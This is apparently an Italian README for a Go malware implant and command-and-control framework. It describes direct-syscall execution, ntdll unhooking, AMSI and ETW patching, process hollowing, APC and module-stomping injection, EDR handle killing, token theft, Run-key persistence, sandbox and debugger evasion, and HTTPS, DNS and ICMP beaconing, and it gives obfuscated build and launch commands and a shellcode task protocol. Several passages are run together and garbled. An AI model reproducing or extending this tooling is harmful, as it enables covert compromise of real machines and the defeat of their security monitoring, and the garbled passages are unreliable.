
Impianto & C2 cross-platform basato su syscall — syscall dirette (Win), syscall raw (Linux), canali HTTPS/DNS/ICMP. Nessun layer winapi.
Zero WinAPI. Ogni primitiva NT risolta a runtime da ntdll in memoria —
istruzioni SYSCALL emesse direttamente tramite stub assembly Plan9, nessuna
import table, nessun hook usermode di ntdll toccato. C2 su HTTPS / DNS / ICMP,
AES-256-GCM per messaggio. Windows nativo. Build Linux. Build macOS.
Questa non è una libreria wrapper di syscall. È un framework implant completo
dove ogni operazione — dall'iniezione di codice alla lettura di file alla
persistenza nel registro — passa attraverso syscall Nt* grezze risolte al
boot dalla tabella export di ntdll corrente. Nessuna chiamata WinAPI esiste nel
binario. Nulla che un EDR possa hookare a usermode.
B8 xx xx 00 00 0F 05 (diretto) o
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate). Ogni nome di funzione è
hashato a compile time — nessuna stringa in chiaro nel binario.asm_amd64.s) carica l'SSN in EAX,
imposta 7 argomenti a mano, esegue SYSCALL. Ritorno via RAX/RDX.0F 05 C3 (syscall;ret) dentro
ntdll, chiama attraverso di esso. Il trap della CPU atterra dentro ntdll — lo
stack di chiamata mostra frame ntdll, non frame dell'implant. Nessun hook
usermode sopravvive..text in RWX, copia i byte originali dalla ntdll mappata
su disco, ripristina la protezione, flusha la icache, azzera la cache SSN.
Ogni hook usermode piazzato da qualsiasi EDR è sparito.L'agente ruota automaticamente tra le tecniche di iniezione. Ogni chiamata usa un metodo diverso — due iniezioni non si assomigliano mai in forensics.
Esegue tutti i check, restituisce un report di minaccia con punteggio. Auto-distruzione su Critical.
Tutto via syscall Nt*, nessuna WinAPI.
EnablePrivilege(index) — imposta qualsiasi privilegio tramite LUIDEnableAllTokenPrivileges() — 20 privilegi in una volta (Debug, Impersonate, TCB, Backup, Restore, ecc.)GetProcessTokenIntegrityLevel() — interroga integrità obbligatoriaStealProcessToken(pid) — apri + duplica token di un altro processoImpersonateThread() / RevertToSelf()EnumVirtualMemory() — percorre tutte le regioni virtuali via NtQueryVirtualMemoryFindWritableExecRegions() — trova regioni committed PAGE_EXECUTE_READWRITEHideRegion() — imposta PAGE_NOACCESS per nascondere memoria dagli scannerUnhideRegion() — ripristina la protezione originaleNtCreateFile → NtReadFile / NtWriteFile → NtClose. Zero chiamate
CreateFileA, ReadFile, WriteFile, o DeleteFileW. ReadFileContents(),
WriteFileContents(), DeleteFileNt(), FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence(), RemoveRunKeyPersistence().
Nessuna RegCreateKeyEx, RegSetValueEx, o qualsiasi chiamata Advapi32.
EnumerateSystemHandles() — tutti gli handle aperti nel sistema via
NtQuerySystemInformation(SystemHandleInformation)FindEDRHandles() — confronta i PID proprietari con 30+ nomi noti di
processi EDR (MsSense, CrowdStrike, Sentinel, Cylance, Carbon Black, ecc.)CloseEDRHandles() — chiude gli handle di monitoraggio che l'EDR ha
piazzato nel tuo processoIsProcessMonitored() — check booleano: siamo osservati?NtFreeVirtualMemory.PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — thread breakin → RETPatchInstrumentationCallbacks() — ThreadHideFromDebuggerTutti i canali implementano l'interfaccia Channel. Aggiungere NTP, DoH, o
TURN significa implementare l'interfaccia — zero modifiche all'agente.
AES-256-GCM per-messaggio AEAD. Nonce unico di 12 byte per messaggio. Keyring per-implant. Derivazione chiave basata su passphrase disponibile. 3 test, tutti passanti.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
Obfuscation con garble:
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList → match ntdll.dll via hash djb2IMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = Export TableAddressOfNames[], djb2 ciascuno, match targetAddressOfFunctions[ordinal] → indirizzo funzioneB8 xx xx 00 00 0F 05 (diretto), B8 xx xx 00 00 C3 (early-ret), o 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate)Nessun nome di funzione nel binario. Solo hash djb2. L'istruzione syscall
bypassa ogni hook usermode.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
Rilasciato: Beacon loop, coda task, 3 canali C2, 4 metodi di iniezione,
10+ check di evasione, enumerazione/chiusura handle, manipolazione token,
operazioni VAD, file I/O, persistenza registro, fingerprinting SSN, cifratura
memoria, patching AMSI/ETW, crypto AES-GCM, gestione sessioni, REPL
interattiva. 3 test crypto passano. go build pulito su Windows.
Non ancora: Agente autonomo Linux (le build esistono, nessuna logica agente), rotazione chiavi di sessione, loader staged, canali NTP/DoH, scheduling persistenza.
MIT — LICENSE
| Metodo | Come funziona | Perché è stealth |
|---|
| Section mapping | NtCreateSection → NtMapViewOfSection (remoto) → NtCreateThreadEx | Nessuna allocazione RWX nel VAD. La sezione è file-backed. Gli scanner di memoria vedono PAGE_EXECUTE_READ, non PAGE_EXECUTE_READWRITE. |
| Process hollow | NtCreateUserProcess (sospeso) → NtSuspendProcess → azzera image base → alloca + scrivi shellcode → NtSetContextThread (RIP = shellcode) → NtResumeProcess | Il processo appare come svchost.exe legittimo in taskmgr. Solo i contenuti di memoria differiscono. |
| APC queuing | Enumera thread via NtQuerySystemInformation → NtOpenThread → NtQueueApcThread | Nessun nuovo thread creato. Nessun nuovo TEB. Nessuna nuova allocazione di stack. Si attiva quando il thread entra in alertable wait. |
| Module stomping | Alloca nel target → scrivi header PE minimale + shellcode → NtCreateThreadEx all'entry point | La lista moduli mostra un nome DLL plausibile. L'header PE è valido abbastanza da ingannare l'enumerazione dei moduli. |
| Check | Metodo |
|---|
| Rilevamento VM | Scansione firma hypervisor CPUID leaf 0x40000000 (VMware, VirtualBox, Hyper-V, KVM, Xen, QEMU, Parallels) + fallback leaf 0x40000001 |
| Rilevamento sandbox | Conteggio CPU, artefatti registro (VMware Tools, VBox Guest Additions, servizi VMware/VBox), scansione processi sandbox (30+ nomi noti: wireshark, procmon, x64dbg, ida, ecc.) |
| Rilevamento debugger | PEB.BeingDebugged, PEB.NtGlobalFlag, flag debug heap, ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags, breakpoint hardware DR0-7, check timing single-step |
| Anomalia timing | Basato su RDTSC: 50 campioni di latenza NtQuerySystemInformation, media/deviazione standard, flag se >10% dei campioni supera varianza 3σ. Cattura l'overhead di strumentazione. |
| Evasione PEB | Patcha BeingDebugged, NtGlobalFlag, flag ProcessHeap, DebugPort, ThreadHideFromDebugger — tutto via letture segmento GS + NtWriteVirtualMemory. Nessuna chiamata API. |
| Canale | Formato wire | Prerequisiti |
|---|
| HTTPS | POST binario, framing custom, UA/path randomizzati | Certificato TLS |
| DNS | sottodominio <idx>-<total>-<base32>, risposta TXT | Risoluzione DNS |
| ICMPv4 | payload in echo request/reply ID+seq | raw socket (root/Admin) |
| Task | Byte | Payload |
|---|
| shell | 0x01 | Comando UTF-8 |
| inject | 0x02 | PID (4 byte LE) + shellcode |
| patch | 0x03 | 0x01=AMSI, 0x02=ETW, 0x03=entrambi |
| sleep | 0x04 | secondi (4 byte LE) |
| evasion | 0x10 | 0x01=full, 0x02=VM, 0x03=sandbox, 0x04=debug, 0x05=timing, 0x06=report |
| handles | 0x11 | 0x01=count, 0x02=enum EDR, 0x03=close EDR, 0x04=monitored? |
| vault | 0x12 | operazioni di storage cifrato |
| fingerprint | 0x13 | dump fingerprint build SSN |
| token | 0x14 | 0x01=enable all, 0x02=integrity, 0x03=debug priv, 0x04=impersonate |
| exit | 0xFF | — |
map[uint32]uint16